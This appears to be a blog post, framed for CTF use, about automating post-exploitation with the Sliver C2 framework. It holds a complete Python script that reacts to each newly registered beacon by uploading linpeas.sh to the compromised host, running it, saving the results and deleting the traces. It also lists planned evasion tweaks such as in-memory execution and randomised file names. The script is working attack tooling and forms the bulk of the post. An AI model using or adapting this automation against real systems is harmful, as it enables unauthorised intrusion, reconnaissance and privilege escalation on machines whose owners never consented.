Post Exploitation Journey 2 - Payload Complexity

In the last blog of the series, we went through how to deliver a payload to a target in stages with some tricky detection evasion techniques. In this blog we're going to be focusing on what to do after we've established the initial C2 connection. What I want to accomplish here is to trigger actions after beacon contacts the C2 server. Someone has developed a typescript and python gRPC client library for Sliver that lets us do just that. I'll admit I went around and tried a lot of different automation methods to achieve this goal. I really wanted Gscript to work well out of the box, but it's fairly old and it just felt clunky. It was weird to use their home-grown language. They really did put a lot of work into the project, and the ideas behind it all were amazing. They have a repository of examples which drives home the goal of what they were doing. But this gRPC client is just too easy to pass on.

+-------+ +-----+                                           +---------+
| Host  | | C2  |                                           | Target  |
+-------+ +-----+                                           +---------+
    |        |                                                   |
    | Deliver Stager                                             |
    |----------------------------------------------------------->|
    |        |                                                   |
    |        |                          Stager Downloads Dropper |
    |<-----------------------------------------------------------|
    |        |                                                   |
    |        |              Dropper Executes Sliver Beacon Agent |
    |        |<--------------------------------------------------|
    |        |                                                   |
    |        | gRPC Listener receives beacon register event      |
    |        |---------------------------------------------      |
    |        |                                            |      |
    |        |<--------------------------------------------      |
    |        |                                                   |
    |        | Execute automated enumeration                     |
    |        |-------------------------------------------------->|
    |        |                                                   |
    | Manually Escalate Privileges                               |
    |----------------------------------------------------------->|
    |        |                                                   |

Setup

If you've followed the first blog, all we'll need to do is install the gRPC client:

pip3 install grpcio grpcio-tools sliver-py

Otherwise, go back and get Sliver running, write a stager server, stager client and stage 2 dropper payload.

Automation

Oh boy do I ever love some juicy automation, why are we as a species so obsessed with it? Here's what I want to accomplish:

+-----+                                      +---------+
| C2  |                                      | Target  |
+-----+                                      +---------+
   |                                              |
   |                       Beacon Agent Registers |
   |<---------------------------------------------|
   |                                              |
   | Registration Event Kicks off Automation      |
   |----------------------------------------      |
   |                                       |      |
   |<---------------------------------------      |
   |                                              |
   | Calculate some fingerprint                   |
   |--------------------------------------------->|
   |                                              |
   | Only preform script once per host            |
   |----------------------------------            |
   |                                 |            |
   |<---------------------------------            |
   |                                              |
   | Assert Compatibility                         |
   |--------------------------------------------->|
   |                                              |
   | Upload linpeas.sh                            |
   |--------------------------------------------->|
   |                                              |
   | Execute linpeas.sh                           |
   |--------------------------------------------->|
   |                                              |
   | Download Result                              |
   |--------------------------------------------->|
   |                                              |
   | Write result to local file                   |
   |---------------------------                   |
   |                          |                   |
   |<--------------------------                   |
   |                                              |
   | Clean up                                     |
   |--------------------------------------------->|
   |                                              |

When you first install Sliver it creates client configuration profiles in ~/.sliver-client that we load into our script. This configures encrypted communication to the server. Next we setup clients and all that fun stuff, that's straight from documentation. We want to trigger our behavior when a Beacon Agent first Registers with our C2 server, so we wait for that event:

async for event in client.on('beacon-registered'):
  ...

Then we implement our desired behavior using the beacon API in the following loop:

task = await beacon.execute("/bin/sh", ["-c" ,"ls -al"])
result = await task
print(result)

Here's what I came up with:

#!/usr/bin/env python3
import os
import sys
import asyncio
from sliver import SliverClientConfig, SliverClient, client_pb2
CONFIG_DIR = os.path.join(os.path.expanduser("~"), ".sliver-client", "configs")
DEFAULT_CONFIG = os.path.join(CONFIG_DIR, "kali_localhost.cfg")
ROOT_DIR = "/home/kali/scripts/post/"
async def main():
    config = SliverClientConfig.parse_config_file(DEFAULT_CONFIG)
    client = SliverClient(config)
    print('[*] Connected to server ...')
    await client.connect()
    version = await client.version()
    print('[*] Server version: %s' % version)
    print('[*] Loading Payloads')
    linpeas_f = open(os.path.join(ROOT_DIR,"payloads/pe/linpeas.sh"), "rb")
    linpeas_bytes = linpeas_f.read()
    linpeas_f.close()
    print('[*] Ready')
    print('')
    async for event in client.on('beacon-registered'):
        b = client_pb2.Beacon()
        b.ParseFromString(event.Data)
        print(f'[{b.UID}] Beacon Registered')
        print(f'{b}')
        beacon = await client.interact_beacon(b.ID)
        print(f'[{b.UID}] Checking Compatibility')
        c_task = await beacon.execute("/bin/sh", ["-c", "rm /tmp/t.sh"])
        c = await c_task
        print(f'[{b.UID}] Target Compatable')
        print(f'[{b.UID}] Uploading linpeas.sh')
        ul_task = await beacon.upload("/tmp/t.sh", linpeas_bytes, True)
        ul = await ul_task
        print(f'[{b.UID}] Uploading complete')
        print(f'[{b.UID}] Executing linpeas.sh')
        outPath = os.path.join(ROOT_DIR,f"reports/{b.ID}_linpeas.txt")
       
        task = await beacon.execute("/bin/sh", ["-c", "cd /tmp && chmod +x t.sh && ./t.sh -s -q"], True)
        result = await task
        print(f'[{b.UID}] Execution Complete')
        f = open(outPath, "wb")
        f.write(result.Stdout)
        f.close()
        print(f'[{b.UID}] Result saved to {outPath}')
        print(f'[{b.UID}] Cleaning up')
        task = await beacon.execute("/bin/sh", ["-c", "rm /tmp/t.sh"])
        await task
        print(f'[{b.UID}] Finished Cleaning up')
        print(f'[{b.UID}] Attack Routine Complete')
        print('')
        
if __name__ == '__main__':
    loop = asyncio.get_event_loop()
    loop.run_until_complete(main())

This gets the job done for sure: 1 2 3 After I execute the stager client on the target, it downloads the stage 2 dropper onto the host and executes it - registering the beacon agent to the C2 server. The C2 server then emits an event that is captured by our script, and we interact with the beacon to preform our process.

Future Improvements

I'll start using this in CTF's and improve this as needed, but I think before I use this on King of the Hill type challenges I'll potentially add:

  • Host Fingerprinting so it doesn't hit the same target twice
  • Execute linepeas.sh in memory to hide the script
  • Determine type of host and switch between functions for Windows/Linux
  • Handle errors like no sh present, or unable to write to tmp
  • Take profile path as argument
  • Randomize file name creation to obfuscate
  • Make local FS locations more flexible For now, this will do just fine to continue on my journey to the post-root possibilities!